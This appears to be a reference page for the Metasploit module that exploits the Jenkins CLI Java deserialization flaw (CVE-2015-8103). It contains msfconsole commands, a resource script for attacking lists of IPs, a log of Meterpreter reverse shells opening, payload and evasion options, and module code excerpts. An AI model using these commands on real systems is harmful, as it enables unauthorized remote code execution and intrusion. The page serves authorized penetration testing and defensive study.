Jenkins CLI RMI Java Deserialization Vulnerability - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/jenkins_java_deserialize metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Jenkins CLI RMI Java Deserialization Vulnerability
Module: exploit/linux/misc/jenkins_java_deserialize
Source code: modules/exploits/linux/misc/jenkins_java_deserialize.rb
Disclosure date: 2015-11-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): java
Supported platform(s): Java
Target service / protocol: -
Target network port(s): 8080
List of CVEs: CVE-2015-8103
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using jenkins_java_deserialize against a single host
Normally, you can use exploit/linux/misc/jenkins_java_deserialize this way:
msf > use exploit/linux/misc/jenkins_java_deserialize
msf exploit(jenkins_java_deserialize) > show targets
... a list of targets ...
msf exploit(jenkins_java_deserialize) > set TARGET target-id
msf exploit(jenkins_java_deserialize) > show options
... show and set options ...
msf exploit(jenkins_java_deserialize) > exploit
Using jenkins_java_deserialize against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your jenkins_java_deserialize will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/misc/jenkins_java_deserialize")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/misc/jenkins_java_deserialize exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/jenkins_java_deserialize
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(linux/misc/jenkins_java_deserialize) > show info
Name: Jenkins CLI RMI Java Deserialization Vulnerability
Module: exploit/linux/misc/jenkins_java_deserialize
Platform: Java
Arch: java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-11-18
Provided by:
Christopher Frohoff
Steve Breen
Dev Mohanty
Louis Sato
wvu <[email protected]>
juan vazquez <[email protected]>
Wei Chen
Available targets:
Id Name
-- ----
0 Jenkins 1.637
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
TARGETURI / yes The base path to Jenkins in order to find X-Jenkins-CLI-Port
TEMP /tmp yes Folder to write the payload to
Payload information:
Description:
This module exploits a vulnerability in Jenkins. An unsafe
deserialization bug exists on the Jenkins master, which allows
remote arbitrary code execution. Authentication is not required to
exploit this vulnerability.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-8103
https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability
https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11
Module Options
This is a complete list of options available in the linux/misc/jenkins_java_deserialize exploit:
msf6 exploit(linux/misc/jenkins_java_deserialize) > show options
Module options (exploit/linux/misc/jenkins_java_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
TARGETURI / yes The base path to Jenkins in order to find X-Jenkins-CLI-Port
TEMP /tmp yes Folder to write the payload to
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Jenkins 1.637
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/jenkins_java_deserialize exploit:
msf6 exploit(linux/misc/jenkins_java_deserialize) > show advanced
Module advanced options (exploit/linux/misc/jenkins_java_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
XJenkinsCliPort no The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/jenkins_java_deserialize module can exploit:
msf6 exploit(linux/misc/jenkins_java_deserialize) > show targets
Exploit targets:
Id Name
-- ----
0 Jenkins 1.637
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/jenkins_java_deserialize exploit:
msf6 exploit(linux/misc/jenkins_java_deserialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/jenkins_java_deserialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/jenkins_java_deserialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Jenkins is not vulnerable, aborting...
Here is a relevant code snippet related to the "<PEER> - Jenkins is not vulnerable, aborting..." error message:
60: @jenkins_cli_port || datastore['XJenkinsCliPort']
61: end
62:
63: def exploit
64: if cli_port == 0 && !vulnerable?
65: fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
66: end
67: invoke_remote_method(set_payload)
68: invoke_remote_method(class_load_payload)
69: end
70:
Invalid URI: <VALUE>
Here is a relevant code snippet related to the "Invalid URI: <VALUE>" error message:
78: # In case TARGETURI is empty, at least we default to '/'
79: u = datastore['TARGETURI']
80: u = "/" if u.nil? or u.empty?
81: URI(u)
82: rescue ::URI::InvalidURIError
83: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
84: raise Msf::OptionValidateError.new(['TARGETURI'])
85: end
86: end
87:
88: def normalize_uri(*strs)
TARGETURI
Here is a relevant code snippet related to the "TARGETURI" error message:
79: u = datastore['TARGETURI']
80: u = "/" if u.nil? or u.empty?
81: URI(u)
82: rescue ::URI::InvalidURIError
83: print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
84: raise Msf::OptionValidateError.new(['TARGETURI'])
85: end
86: end
87:
88: def normalize_uri(*strs)
89: new_str = strs * "/"
The connection timed out.
Here is a relevant code snippet related to the "The connection timed out." error message:
117: res = send_request_cgi({
118: 'uri' => normalize_uri(target_uri.path)
119: })
120:
121: unless res
122: fail_with(Failure::Unknown, 'The connection timed out.')
123: end
124:
125: http_headers = res.headers
126:
127: unless http_headers['X-Jenkins-CLI-Port']
The server does not have the CLI port that is needed for exploitation.
Here is a relevant code snippet related to the "The server does not have the CLI port that is needed for exploitation." error message:
123: end
124:
125: http_headers = res.headers
126:
127: unless http_headers['X-Jenkins-CLI-Port']
128: vprint_error('The server does not have the CLI port that is needed for exploitation.')
129: return false
130: end
131:
132: if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
133: @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11465 Merged Pull Request: Fix author names in a couple modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6549 Merged Pull Request: Resolve #6546, support manual configuration for X-Jenkins-CLI-Port for jenkins_java_deserialize
- #6354 Merged Pull Request: Add method peer for jenkins_java_deserialize.rb
- #6346 Merged Pull Request: Fix check for jenkins_java_deserialize.rb
- #6338 Merged Pull Request: Add Jenkins CLI Java serialization exploit module
References
- CVE-2015-8103
- https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
- http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability
- https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/jenkins_command
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/http/jenkins_cli_deserialization
- auxiliary/gather/jenkins_cred_recovery
- auxiliary/scanner/http/jenkins_enum
- auxiliary/scanner/http/jenkins_login
- auxiliary/scanner/jenkins/jenkins_udp_broadcast_enum
- exploit/multi/http/jenkins_metaprogramming
- exploit/multi/http/jenkins_script_console
- exploit/multi/http/jenkins_xstream_deserialize
- post/multi/gather/jenkins_gather
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/http/shiro_rememberme_v124_deserialize
- exploit/multi/misc/weblogic_deserialize
- exploit/windows/http/hp_imc_java_deserialize
- exploit/windows/misc/ibm_websphere_java_deserialize
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/multi/misc/weblogic_deserialize_badattr_extcomp
- exploit/multi/misc/weblogic_deserialize_badattrval
- exploit/multi/misc/weblogic_deserialize_marshalledobject
- exploit/multi/misc/weblogic_deserialize_rawobject
- exploit/multi/misc/weblogic_deserialize_unicastref
- payload/java/jsp_shell_bind_tcp
- payload/java/jsp_shell_reverse_tcp
- payload/java/meterpreter/bind_tcp
- payload/java/meterpreter/reverse_http
- payload/java/meterpreter/reverse_https
- payload/java/meterpreter/reverse_tcp
- payload/java/shell/bind_tcp
- payload/java/shell/reverse_tcp
- payload/java/shell_reverse_tcp
Related Nessus plugins:
- RHEL 6 : Red Hat OpenShift Enterprise 2.2.9 (RHSA-2016:0489)
- RHEL 7 : openshift (RHSA-2016:0070)
- Jenkins < 1.638 / 1.625.2 Java Object Deserialization RCE
Authors
- Christopher Frohoff
- Steve Breen
- Dev Mohanty
- Louis Sato
- wvu
- juan vazquez
- Wei Chen
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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